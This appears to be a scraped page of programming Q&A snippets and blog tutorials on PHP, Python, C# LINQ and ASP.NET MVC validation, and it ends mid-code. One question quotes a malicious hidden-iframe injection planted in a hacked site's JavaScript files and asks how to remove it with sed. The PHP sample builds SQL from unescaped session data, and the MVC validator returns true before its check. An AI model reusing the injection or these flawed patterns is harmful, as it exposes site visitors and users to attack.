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  • Array to string conversion in (cant get it to work)

    - by user2966551
    ok I am trying to pull a a specific row of data that corresponds to the username logged in. on my page I have started my session but for some reason I cant get the code to work.i keep getting a "Array to string conversion in " on the line " WHERE username = '$_SESSION[user]'");" what am I doing wrong? if I set username = a set username it works but I need it to draw from the session id so it will display different values based on whos logged in. <?php $con=mysqli_connect("localhost","root","xxx","xxxx"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $result = mysqli_query($con,"SELECT * FROM users WHERE username = '$_SESSION[user]'"); while($row = mysqli_fetch_array($result)) { echo $row['username'] . " " . $row['att']; echo "<br>"; } ?>

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  • Index outof range? Automatica generate field .How to manipulate GridView2.Columns as BoundField;

    - by mike
    Index outof range?GridView2.Columns[6] as BoundField I use Automatica generate field . How to manipulate GridView2.Columns as BoundField with auto-generate feather? JobPostDataContext db = new JobPostDataContext(); var query = from j in db.JobLists join u in db.UserLists on j.UserID equals u.UserID where j.JobTitle.Contains(this.TextBox1.Text) select new { j.JobID, j.JobTitle, j.Summary, j.Details, j.CompanyName, j.CompanyEmail, j.DatePosted, j.UserID, u.City, u.State, u.Country }; GridView2.DataSource = query; GridView2.DataBind(); BoundField DatePosted = GridView2.Columns[6] as BoundField; DatePosted.DataFormatString = "{0:MMM,dd yy}";

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  • delphi remove . and .. from path

    - by user80003
    Hello everyone. How can I remove the . and .. from a path in Delphi (not using .NET). I need a function, so I can pass it something like 'c:\program files..\program files...', and I want the function to return to me 'c:\'. Can Delphi do that on its own? Or do I need to do it myself?

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  • Putting a variable inside a string (python)

    - by Gish
    Hi I am quite new to python and this is probably quite a basic question but the help would be much appreciated. I would like to put an int within a string. This is what I am doing at the moment.. end = smooth(data,window_len=40) plot.plot(time[0:len(end)],end) plot.savefig('hanning(40).pdf') #problem line I have to run the program for several different numbers instead of the two 40's. So I'd like to do a loop but inserting the variable like this doesn't work: plot.savefig('hanning',num,'.pdf') Thanks!

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  • Comparing the values of two nsstrings

    - by user1776234
    So I have been trying to compare two NSStrings in xcode. However, it is not working. What am I doing wrong? NSString Prog are characters that are xml parsed from mysql char *cStr = "YES"; NSString *str3 = [NSString stringWithUTF8String:cStr]; if ([str3 isEqualToString:prog]) { [switch1 setOn:YES animated:YES]; } else { [switch1 setOn:NO animated:YES]; }

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  • Python: Open() using a variable

    - by nuustik
    Good day, I've ran into a problem with opening a file with randomly generated name in Python 2.6. import random random = random.randint(1,10) localfile = file("%s","wb") % random Then I get an error message about the last line TypeError: unsupported operand type(s) for %: 'file' and 'int' I just couldn't figure this out by myself nor with Google, but there has to be a cure for this, I believe. Thanks.

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  • Using sed to delete string

    - by wired
    I was hacked and have hundreds of .js files with this line of code that I'm trying to get rid of: ;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); It is the last line of the file, but I think the file contains windows line endings, because when ever I do this: sed -i '/sitecorporatemanagement.ru/d' * it deletes the full content of the file. Can you help me get this to work? I just need that full string deleted. Thank you for all the help you can give.

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  • [JAVA]Int to String COmmand

    - by Jack.
    I'm trying to make a piece of code that will yell out anything I input. So the command is 'yell' I want to be able to type 'yell (whatever i want here)' and it will yell it out. I've been able to do it with numbers but I can't do it with a String. So how can I go about that? int x = Integer.valueOf(cmd[1]); n.setNextForceTalk(new ForceTalk("Number: " + x)); That piece of code allows me to type 'yell (number)' and it will come out with whatever number I type. But how can I do it with text.

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  • comparision of strings

    - by EmiLazE
    i am writing a program, that simulates game mastermind. but i am struggling on how to compare guessed pattern to key pattern. the game conditions are a little bit changed: patterns consist of letters. if an element of guessed pattern is equal to element of key pattern, and also index is equal, then print b. if an element of guessed pattern is equal to element of key pattern, but index is not, then print w. if an element of guessed pattern is not equal to element of key pattern, print dot. in feedback about guessed pattern, 'b's come first, 'w's second, '.'s last. my problem is that i cannot think of a way totally satisfies the answer. for (i=0; i<patternlength; i++) { for (x=0; x<patternlength; x++) { if (guess[i]==key[x] && i==x) printf("b"); if (guess[i]==key[x] && i!=x) printf("w"); if (guess[i]!=key[x]) printf("."); } }

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  • Problem with RewriteCond %{QUERY_STRING}, backreference not dispaying in final URL

    - by eb_Dev
    Hi, I have the following in my .htaccess file: RewriteCond %{QUERY_STRING} ^route\=product\/category\&path\=35\&page\=([0-9]+)$ RewriteRule ^index.php$ http://%{HTTP_HOST}/product/category/35/page_$1? [R=301,L] It's not behaving as expected though, when I enter the URL: http://mywebsite.com/index.php?route=product/category&path=35&page=2 It gets rewritten to: http://mywebsite.com/product/category/35/page_ Could someone tell me what I have done wrong please? Thanks, eb_dev

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  • ?asting String to Time makes 01:00:00

    - by kawtousse
    Hi everyone, when i do the following: String start = request.getParameter("startp"); SimpleDateFormat sdf = new SimpleDateFormat("hh:mm:ss"); long ms=0; try { ms = sdf.parse(start).getTime(); } catch (ParseException e1) { e1.printStackTrace(); } Time ts = new Time(ms); it is inserted with this value 01:00:00 witch is not the correct one (entered by user). I didn't undertstand the error here. Please help. Thanks

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  • ????????s in my generated PDF

    - by gAMBOOKa
    I'm getting ???????? characters in my PDF, i've stripped out \r\n \r \n \t, trimmed everything, decoded html entities and stripped tags. Nothing helps. The data is coming from a MySQL database. Any help would be appreciated.

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  • How LINQ to Object statements work

    - by rajbk
    This post goes into detail as to now LINQ statements work when querying a collection of objects. This topic assumes you have an understanding of how generics, delegates, implicitly typed variables, lambda expressions, object/collection initializers, extension methods and the yield statement work. I would also recommend you read my previous two posts: Using Delegates in C# Part 1 Using Delegates in C# Part 2 We will start by writing some methods to filter a collection of data. Assume we have an Employee class like so: 1: public class Employee { 2: public int ID { get; set;} 3: public string FirstName { get; set;} 4: public string LastName {get; set;} 5: public string Country { get; set; } 6: } and a collection of employees like so: 1: var employees = new List<Employee> { 2: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 3: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 4: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 5: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" }, 6: }; Filtering We wish to  find all employees that have an even ID. We could start off by writing a method that takes in a list of employees and returns a filtered list of employees with an even ID. 1: static List<Employee> GetEmployeesWithEvenID(List<Employee> employees) { 2: var filteredEmployees = new List<Employee>(); 3: foreach (Employee emp in employees) { 4: if (emp.ID % 2 == 0) { 5: filteredEmployees.Add(emp); 6: } 7: } 8: return filteredEmployees; 9: } The method can be rewritten to return an IEnumerable<Employee> using the yield return keyword. 1: static IEnumerable<Employee> GetEmployeesWithEvenID(IEnumerable<Employee> employees) { 2: foreach (Employee emp in employees) { 3: if (emp.ID % 2 == 0) { 4: yield return emp; 5: } 6: } 7: } We put these together in a console application. 1: using System; 2: using System.Collections.Generic; 3: //No System.Linq 4:  5: public class Program 6: { 7: [STAThread] 8: static void Main(string[] args) 9: { 10: var employees = new List<Employee> { 11: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 12: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 13: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 14: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" }, 15: }; 16: var filteredEmployees = GetEmployeesWithEvenID(employees); 17:  18: foreach (Employee emp in filteredEmployees) { 19: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 20: emp.ID, emp.FirstName, emp.LastName, emp.Country); 21: } 22:  23: Console.ReadLine(); 24: } 25: 26: static IEnumerable<Employee> GetEmployeesWithEvenID(IEnumerable<Employee> employees) { 27: foreach (Employee emp in employees) { 28: if (emp.ID % 2 == 0) { 29: yield return emp; 30: } 31: } 32: } 33: } 34:  35: public class Employee { 36: public int ID { get; set;} 37: public string FirstName { get; set;} 38: public string LastName {get; set;} 39: public string Country { get; set; } 40: } Output: ID 2 First_Name Jim Last_Name Ashlock Country UK ID 4 First_Name Jill Last_Name Anderson Country AUS Our filtering method is too specific. Let us change it so that it is capable of doing different types of filtering and lets give our method the name Where ;-) We will add another parameter to our Where method. This additional parameter will be a delegate with the following declaration. public delegate bool Filter(Employee emp); The idea is that the delegate parameter in our Where method will point to a method that contains the logic to do our filtering thereby freeing our Where method from any dependency. The method is shown below: 1: static IEnumerable<Employee> Where(IEnumerable<Employee> employees, Filter filter) { 2: foreach (Employee emp in employees) { 3: if (filter(emp)) { 4: yield return emp; 5: } 6: } 7: } Making the change to our app, we create a new instance of the Filter delegate on line 14 with a target set to the method EmployeeHasEvenId. Running the code will produce the same output. 1: public delegate bool Filter(Employee emp); 2:  3: public class Program 4: { 5: [STAThread] 6: static void Main(string[] args) 7: { 8: var employees = new List<Employee> { 9: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 10: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 11: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 12: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 13: }; 14: var filterDelegate = new Filter(EmployeeHasEvenId); 15: var filteredEmployees = Where(employees, filterDelegate); 16:  17: foreach (Employee emp in filteredEmployees) { 18: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 19: emp.ID, emp.FirstName, emp.LastName, emp.Country); 20: } 21: Console.ReadLine(); 22: } 23: 24: static bool EmployeeHasEvenId(Employee emp) { 25: return emp.ID % 2 == 0; 26: } 27: 28: static IEnumerable<Employee> Where(IEnumerable<Employee> employees, Filter filter) { 29: foreach (Employee emp in employees) { 30: if (filter(emp)) { 31: yield return emp; 32: } 33: } 34: } 35: } 36:  37: public class Employee { 38: public int ID { get; set;} 39: public string FirstName { get; set;} 40: public string LastName {get; set;} 41: public string Country { get; set; } 42: } Lets use lambda expressions to inline the contents of the EmployeeHasEvenId method in place of the method. The next code snippet shows this change (see line 15).  For brevity, the Employee class declaration has been skipped. 1: public delegate bool Filter(Employee emp); 2:  3: public class Program 4: { 5: [STAThread] 6: static void Main(string[] args) 7: { 8: var employees = new List<Employee> { 9: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 10: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 11: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 12: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 13: }; 14: var filterDelegate = new Filter(EmployeeHasEvenId); 15: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 16:  17: foreach (Employee emp in filteredEmployees) { 18: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 19: emp.ID, emp.FirstName, emp.LastName, emp.Country); 20: } 21: Console.ReadLine(); 22: } 23: 24: static bool EmployeeHasEvenId(Employee emp) { 25: return emp.ID % 2 == 0; 26: } 27: 28: static IEnumerable<Employee> Where(IEnumerable<Employee> employees, Filter filter) { 29: foreach (Employee emp in employees) { 30: if (filter(emp)) { 31: yield return emp; 32: } 33: } 34: } 35: } 36:  The output displays the same two employees.  Our Where method is too restricted since it works with a collection of Employees only. Lets change it so that it works with any IEnumerable<T>. In addition, you may recall from my previous post,  that .NET 3.5 comes with a lot of predefined delegates including public delegate TResult Func<T, TResult>(T arg); We will get rid of our Filter delegate and use the one above instead. We apply these two changes to our code. 1: public class Program 2: { 3: [STAThread] 4: static void Main(string[] args) 5: { 6: var employees = new List<Employee> { 7: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 8: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 9: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 10: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 11: }; 12:  13: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 14:  15: foreach (Employee emp in filteredEmployees) { 16: Console.WriteLine("ID {0} First_Name {1} Last_Name {2} Country {3}", 17: emp.ID, emp.FirstName, emp.LastName, emp.Country); 18: } 19: Console.ReadLine(); 20: } 21: 22: static IEnumerable<T> Where<T>(IEnumerable<T> source, Func<T, bool> filter) { 23: foreach (var x in source) { 24: if (filter(x)) { 25: yield return x; 26: } 27: } 28: } 29: } We have successfully implemented a way to filter any IEnumerable<T> based on a  filter criteria. Projection Now lets enumerate on the items in the IEnumerable<Employee> we got from the Where method and copy them into a new IEnumerable<EmployeeFormatted>. The EmployeeFormatted class will only have a FullName and ID property. 1: public class EmployeeFormatted { 2: public int ID { get; set; } 3: public string FullName {get; set;} 4: } We could “project” our existing IEnumerable<Employee> into a new collection of IEnumerable<EmployeeFormatted> with the help of a new method. We will call this method Select ;-) 1: static IEnumerable<EmployeeFormatted> Select(IEnumerable<Employee> employees) { 2: foreach (var emp in employees) { 3: yield return new EmployeeFormatted { 4: ID = emp.ID, 5: FullName = emp.LastName + ", " + emp.FirstName 6: }; 7: } 8: } The changes are applied to our app. 1: public class Program 2: { 3: [STAThread] 4: static void Main(string[] args) 5: { 6: var employees = new List<Employee> { 7: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 8: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 9: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 10: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 11: }; 12:  13: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 14: var formattedEmployees = Select(filteredEmployees); 15:  16: foreach (EmployeeFormatted emp in formattedEmployees) { 17: Console.WriteLine("ID {0} Full_Name {1}", 18: emp.ID, emp.FullName); 19: } 20: Console.ReadLine(); 21: } 22:  23: static IEnumerable<T> Where<T>(IEnumerable<T> source, Func<T, bool> filter) { 24: foreach (var x in source) { 25: if (filter(x)) { 26: yield return x; 27: } 28: } 29: } 30: 31: static IEnumerable<EmployeeFormatted> Select(IEnumerable<Employee> employees) { 32: foreach (var emp in employees) { 33: yield return new EmployeeFormatted { 34: ID = emp.ID, 35: FullName = emp.LastName + ", " + emp.FirstName 36: }; 37: } 38: } 39: } 40:  41: public class Employee { 42: public int ID { get; set;} 43: public string FirstName { get; set;} 44: public string LastName {get; set;} 45: public string Country { get; set; } 46: } 47:  48: public class EmployeeFormatted { 49: public int ID { get; set; } 50: public string FullName {get; set;} 51: } Output: ID 2 Full_Name Ashlock, Jim ID 4 Full_Name Anderson, Jill We have successfully selected employees who have an even ID and then shaped our data with the help of the Select method so that the final result is an IEnumerable<EmployeeFormatted>.  Lets make our Select method more generic so that the user is given the freedom to shape what the output would look like. We can do this, like before, with lambda expressions. Our Select method is changed to accept a delegate as shown below. TSource will be the type of data that comes in and TResult will be the type the user chooses (shape of data) as returned from the selector delegate. 1:  2: static IEnumerable<TResult> Select<TSource, TResult>(IEnumerable<TSource> source, Func<TSource, TResult> selector) { 3: foreach (var x in source) { 4: yield return selector(x); 5: } 6: } We see the new changes to our app. On line 15, we use lambda expression to specify the shape of the data. In this case the shape will be of type EmployeeFormatted. 1:  2: public class Program 3: { 4: [STAThread] 5: static void Main(string[] args) 6: { 7: var employees = new List<Employee> { 8: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 9: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 10: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 11: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 12: }; 13:  14: var filteredEmployees = Where(employees, emp => emp.ID % 2 == 0); 15: var formattedEmployees = Select(filteredEmployees, (emp) => 16: new EmployeeFormatted { 17: ID = emp.ID, 18: FullName = emp.LastName + ", " + emp.FirstName 19: }); 20:  21: foreach (EmployeeFormatted emp in formattedEmployees) { 22: Console.WriteLine("ID {0} Full_Name {1}", 23: emp.ID, emp.FullName); 24: } 25: Console.ReadLine(); 26: } 27: 28: static IEnumerable<T> Where<T>(IEnumerable<T> source, Func<T, bool> filter) { 29: foreach (var x in source) { 30: if (filter(x)) { 31: yield return x; 32: } 33: } 34: } 35: 36: static IEnumerable<TResult> Select<TSource, TResult>(IEnumerable<TSource> source, Func<TSource, TResult> selector) { 37: foreach (var x in source) { 38: yield return selector(x); 39: } 40: } 41: } The code outputs the same result as before. On line 14 we filter our data and on line 15 we project our data. What if we wanted to be more expressive and concise? We could combine both line 14 and 15 into one line as shown below. Assuming you had to perform several operations like this on our collection, you would end up with some very unreadable code! 1: var formattedEmployees = Select(Where(employees, emp => emp.ID % 2 == 0), (emp) => 2: new EmployeeFormatted { 3: ID = emp.ID, 4: FullName = emp.LastName + ", " + emp.FirstName 5: }); A cleaner way to write this would be to give the appearance that the Select and Where methods were part of the IEnumerable<T>. This is exactly what extension methods give us. Extension methods have to be defined in a static class. Let us make the Select and Where extension methods on IEnumerable<T> 1: public static class MyExtensionMethods { 2: static IEnumerable<T> Where<T>(this IEnumerable<T> source, Func<T, bool> filter) { 3: foreach (var x in source) { 4: if (filter(x)) { 5: yield return x; 6: } 7: } 8: } 9: 10: static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector) { 11: foreach (var x in source) { 12: yield return selector(x); 13: } 14: } 15: } The creation of the extension method makes the syntax much cleaner as shown below. We can write as many extension methods as we want and keep on chaining them using this technique. 1: var formattedEmployees = employees 2: .Where(emp => emp.ID % 2 == 0) 3: .Select (emp => new EmployeeFormatted { ID = emp.ID, FullName = emp.LastName + ", " + emp.FirstName }); Making these changes and running our code produces the same result. 1: using System; 2: using System.Collections.Generic; 3:  4: public class Program 5: { 6: [STAThread] 7: static void Main(string[] args) 8: { 9: var employees = new List<Employee> { 10: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 11: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 12: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 13: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 14: }; 15:  16: var formattedEmployees = employees 17: .Where(emp => emp.ID % 2 == 0) 18: .Select (emp => 19: new EmployeeFormatted { 20: ID = emp.ID, 21: FullName = emp.LastName + ", " + emp.FirstName 22: } 23: ); 24:  25: foreach (EmployeeFormatted emp in formattedEmployees) { 26: Console.WriteLine("ID {0} Full_Name {1}", 27: emp.ID, emp.FullName); 28: } 29: Console.ReadLine(); 30: } 31: } 32:  33: public static class MyExtensionMethods { 34: static IEnumerable<T> Where<T>(this IEnumerable<T> source, Func<T, bool> filter) { 35: foreach (var x in source) { 36: if (filter(x)) { 37: yield return x; 38: } 39: } 40: } 41: 42: static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector) { 43: foreach (var x in source) { 44: yield return selector(x); 45: } 46: } 47: } 48:  49: public class Employee { 50: public int ID { get; set;} 51: public string FirstName { get; set;} 52: public string LastName {get; set;} 53: public string Country { get; set; } 54: } 55:  56: public class EmployeeFormatted { 57: public int ID { get; set; } 58: public string FullName {get; set;} 59: } Let’s change our code to return a collection of anonymous types and get rid of the EmployeeFormatted type. We see that the code produces the same output. 1: using System; 2: using System.Collections.Generic; 3:  4: public class Program 5: { 6: [STAThread] 7: static void Main(string[] args) 8: { 9: var employees = new List<Employee> { 10: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 11: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 12: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 13: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 14: }; 15:  16: var formattedEmployees = employees 17: .Where(emp => emp.ID % 2 == 0) 18: .Select (emp => 19: new { 20: ID = emp.ID, 21: FullName = emp.LastName + ", " + emp.FirstName 22: } 23: ); 24:  25: foreach (var emp in formattedEmployees) { 26: Console.WriteLine("ID {0} Full_Name {1}", 27: emp.ID, emp.FullName); 28: } 29: Console.ReadLine(); 30: } 31: } 32:  33: public static class MyExtensionMethods { 34: public static IEnumerable<T> Where<T>(this IEnumerable<T> source, Func<T, bool> filter) { 35: foreach (var x in source) { 36: if (filter(x)) { 37: yield return x; 38: } 39: } 40: } 41: 42: public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector) { 43: foreach (var x in source) { 44: yield return selector(x); 45: } 46: } 47: } 48:  49: public class Employee { 50: public int ID { get; set;} 51: public string FirstName { get; set;} 52: public string LastName {get; set;} 53: public string Country { get; set; } 54: } To be more expressive, C# allows us to write our extension method calls as a query expression. Line 16 can be rewritten a query expression like so: 1: var formattedEmployees = from emp in employees 2: where emp.ID % 2 == 0 3: select new { 4: ID = emp.ID, 5: FullName = emp.LastName + ", " + emp.FirstName 6: }; When the compiler encounters an expression like the above, it simply rewrites it as calls to our extension methods.  So far we have been using our extension methods. The System.Linq namespace contains several extension methods for objects that implement the IEnumerable<T>. You can see a listing of these methods in the Enumerable class in the System.Linq namespace. Let’s get rid of our extension methods (which I purposefully wrote to be of the same signature as the ones in the Enumerable class) and use the ones provided in the Enumerable class. Our final code is shown below: 1: using System; 2: using System.Collections.Generic; 3: using System.Linq; //Added 4:  5: public class Program 6: { 7: [STAThread] 8: static void Main(string[] args) 9: { 10: var employees = new List<Employee> { 11: new Employee { ID = 1, FirstName = "John", LastName = "Wright", Country = "USA" }, 12: new Employee { ID = 2, FirstName = "Jim", LastName = "Ashlock", Country = "UK" }, 13: new Employee { ID = 3, FirstName = "Jane", LastName = "Jackson", Country = "CHE" }, 14: new Employee { ID = 4, FirstName = "Jill", LastName = "Anderson", Country = "AUS" } 15: }; 16:  17: var formattedEmployees = from emp in employees 18: where emp.ID % 2 == 0 19: select new { 20: ID = emp.ID, 21: FullName = emp.LastName + ", " + emp.FirstName 22: }; 23:  24: foreach (var emp in formattedEmployees) { 25: Console.WriteLine("ID {0} Full_Name {1}", 26: emp.ID, emp.FullName); 27: } 28: Console.ReadLine(); 29: } 30: } 31:  32: public class Employee { 33: public int ID { get; set;} 34: public string FirstName { get; set;} 35: public string LastName {get; set;} 36: public string Country { get; set; } 37: } 38:  39: public class EmployeeFormatted { 40: public int ID { get; set; } 41: public string FullName {get; set;} 42: } This post has shown you a basic overview of LINQ to Objects work by showning you how an expression is converted to a sequence of calls to extension methods when working directly with objects. It gets more interesting when working with LINQ to SQL where an expression tree is constructed – an in memory data representation of the expression. The C# compiler compiles these expressions into code that builds an expression tree at runtime. The provider can then traverse the expression tree and generate the appropriate SQL query. You can read more about expression trees in this MSDN article.

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  • ASP.NET MVC Validation Complete

    - by Ricardo Peres
    OK, so let’s talk about validation. Most people are probably familiar with the out of the box validation attributes that MVC knows about, from the System.ComponentModel.DataAnnotations namespace, such as EnumDataTypeAttribute, RequiredAttribute, StringLengthAttribute, RangeAttribute, RegularExpressionAttribute and CompareAttribute from the System.Web.Mvc namespace. All of these validators inherit from ValidationAttribute and perform server as well as client-side validation. In order to use them, you must include the JavaScript files MicrosoftMvcValidation.js, jquery.validate.js or jquery.validate.unobtrusive.js, depending on whether you want to use Microsoft’s own library or jQuery. No significant difference exists, but jQuery is more extensible. You can also create your own attribute by inheriting from ValidationAttribute, but, if you want to have client-side behavior, you must also implement IClientValidatable (all of the out of the box validation attributes implement it) and supply your own JavaScript validation function that mimics its server-side counterpart. Of course, you must reference the JavaScript file where the declaration function is. Let’s see an example, validating even numbers. First, the validation attribute: 1: [Serializable] 2: [AttributeUsage(AttributeTargets.Property, AllowMultiple = false, Inherited = true)] 3: public class IsEvenAttribute : ValidationAttribute, IClientValidatable 4: { 5: protected override ValidationResult IsValid(Object value, ValidationContext validationContext) 6: { 7: Int32 v = Convert.ToInt32(value); 8:  9: if (v % 2 == 0) 10: { 11: return (ValidationResult.Success); 12: } 13: else 14: { 15: return (new ValidationResult("Value is not even")); 16: } 17: } 18:  19: #region IClientValidatable Members 20:  21: public IEnumerable<ModelClientValidationRule> GetClientValidationRules(ModelMetadata metadata, ControllerContext context) 22: { 23: yield return (new ModelClientValidationRule() { ValidationType = "iseven", ErrorMessage = "Value is not even" }); 24: } 25:  26: #endregion 27: } The iseven validation function is declared like this in JavaScript, using jQuery validation: 1: jQuery.validator.addMethod('iseven', function (value, element, params) 2: { 3: return (true); 4: return ((parseInt(value) % 2) == 0); 5: }); 6:  7: jQuery.validator.unobtrusive.adapters.add('iseven', [], function (options) 8: { 9: options.rules['iseven'] = options.params; 10: options.messages['iseven'] = options.message; 11: }); Do keep in mind that this is a simple example, for example, we are not using parameters, which may be required for some more advanced scenarios. As a side note, if you implement a custom validator that also requires a JavaScript function, you’ll probably want them together. One way to achieve this is by including the JavaScript file as an embedded resource on the same assembly where the custom attribute is declared. You do this by having its Build Action set as Embedded Resource inside Visual Studio: Then you have to declare an attribute at assembly level, perhaps in the AssemblyInfo.cs file: 1: [assembly: WebResource("SomeNamespace.IsEven.js", "text/javascript")] In your views, if you want to include a JavaScript file from an embedded resource you can use this code: 1: public static class UrlExtensions 2: { 3: private static readonly MethodInfo getResourceUrlMethod = typeof(AssemblyResourceLoader).GetMethod("GetWebResourceUrlInternal", BindingFlags.NonPublic | BindingFlags.Static); 4:  5: public static IHtmlString Resource<TType>(this UrlHelper url, String resourceName) 6: { 7: return (Resource(url, typeof(TType).Assembly.FullName, resourceName)); 8: } 9:  10: public static IHtmlString Resource(this UrlHelper url, String assemblyName, String resourceName) 11: { 12: String resourceUrl = getResourceUrlMethod.Invoke(null, new Object[] { Assembly.Load(assemblyName), resourceName, false, false, null }).ToString(); 13: return (new HtmlString(resourceUrl)); 14: } 15: } And on the view: 1: <script src="<%: this.Url.Resource("SomeAssembly", "SomeNamespace.IsEven.js") %>" type="text/javascript"></script> Then there’s the CustomValidationAttribute. It allows externalizing your validation logic to another class, so you have to tell which type and method to use. The method can be static as well as instance, if it is instance, the class cannot be abstract and must have a public parameterless constructor. It can be applied to a property as well as a class. It does not, however, support client-side validation. Let’s see an example declaration: 1: [CustomValidation(typeof(ProductValidator), "OnValidateName")] 2: public String Name 3: { 4: get; 5: set; 6: } The validation method needs this signature: 1: public static ValidationResult OnValidateName(String name) 2: { 3: if ((String.IsNullOrWhiteSpace(name) == false) && (name.Length <= 50)) 4: { 5: return (ValidationResult.Success); 6: } 7: else 8: { 9: return (new ValidationResult(String.Format("The name has an invalid value: {0}", name), new String[] { "Name" })); 10: } 11: } Note that it can be either static or instance and it must return a ValidationResult-derived class. ValidationResult.Success is null, so any non-null value is considered a validation error. The single method argument must match the property type to which the attribute is attached to or the class, in case it is applied to a class: 1: [CustomValidation(typeof(ProductValidator), "OnValidateProduct")] 2: public class Product 3: { 4: } The signature must thus be: 1: public static ValidationResult OnValidateProduct(Product product) 2: { 3: } Continuing with attribute-based validation, another possibility is RemoteAttribute. This allows specifying a controller and an action method just for performing the validation of a property or set of properties. This works in a client-side AJAX way and it can be very useful. Let’s see an example, starting with the attribute declaration and proceeding to the action method implementation: 1: [Remote("Validate", "Validation")] 2: public String Username 3: { 4: get; 5: set; 6: } The controller action method must contain an argument that can be bound to the property: 1: public ActionResult Validate(String username) 2: { 3: return (this.Json(true, JsonRequestBehavior.AllowGet)); 4: } If in your result JSON object you include a string instead of the true value, it will consider it as an error, and the validation will fail. This string will be displayed as the error message, if you have included it in your view. You can also use the remote validation approach for validating your entire entity, by including all of its properties as included fields in the attribute and having an action method that receives an entity instead of a single property: 1: [Remote("Validate", "Validation", AdditionalFields = "Price")] 2: public String Name 3: { 4: get; 5: set; 6: } 7:  8: public Decimal Price 9: { 10: get; 11: set; 12: } The action method will then be: 1: public ActionResult Validate(Product product) 2: { 3: return (this.Json("Product is not valid", JsonRequestBehavior.AllowGet)); 4: } Only the property to which the attribute is applied and the additional properties referenced by the AdditionalFields will be populated in the entity instance received by the validation method. The same rule previously stated applies, if you return anything other than true, it will be used as the validation error message for the entity. The remote validation is triggered automatically, but you can also call it explicitly. In the next example, I am causing the full entity validation, see the call to serialize(): 1: function validate() 2: { 3: var form = $('form'); 4: var data = form.serialize(); 5: var url = '<%: this.Url.Action("Validation", "Validate") %>'; 6:  7: var result = $.ajax 8: ( 9: { 10: type: 'POST', 11: url: url, 12: data: data, 13: async: false 14: } 15: ).responseText; 16:  17: if (result) 18: { 19: //error 20: } 21: } Finally, by implementing IValidatableObject, you can implement your validation logic on the object itself, that is, you make it self-validatable. This will only work server-side, that is, the ModelState.IsValid property will be set to false on the controller’s action method if the validation in unsuccessful. Let’s see how to implement it: 1: public class Product : IValidatableObject 2: { 3: public String Name 4: { 5: get; 6: set; 7: } 8:  9: public Decimal Price 10: { 11: get; 12: set; 13: } 14:  15: #region IValidatableObject Members 16: 17: public IEnumerable<ValidationResult> Validate(ValidationContext validationContext) 18: { 19: if ((String.IsNullOrWhiteSpace(this.Name) == true) || (this.Name.Length > 50)) 20: { 21: yield return (new ValidationResult(String.Format("The name has an invalid value: {0}", this.Name), new String[] { "Name" })); 22: } 23: 24: if ((this.Price <= 0) || (this.Price > 100)) 25: { 26: yield return (new ValidationResult(String.Format("The price has an invalid value: {0}", this.Price), new String[] { "Price" })); 27: } 28: } 29: 30: #endregion 31: } The errors returned will be matched against the model properties through the MemberNames property of the ValidationResult class and will be displayed in their proper labels, if present on the view. On the controller action method you can check for model validity by looking at ModelState.IsValid and you can get actual error messages and related properties by examining all of the entries in the ModelState dictionary: 1: Dictionary<String, String> errors = 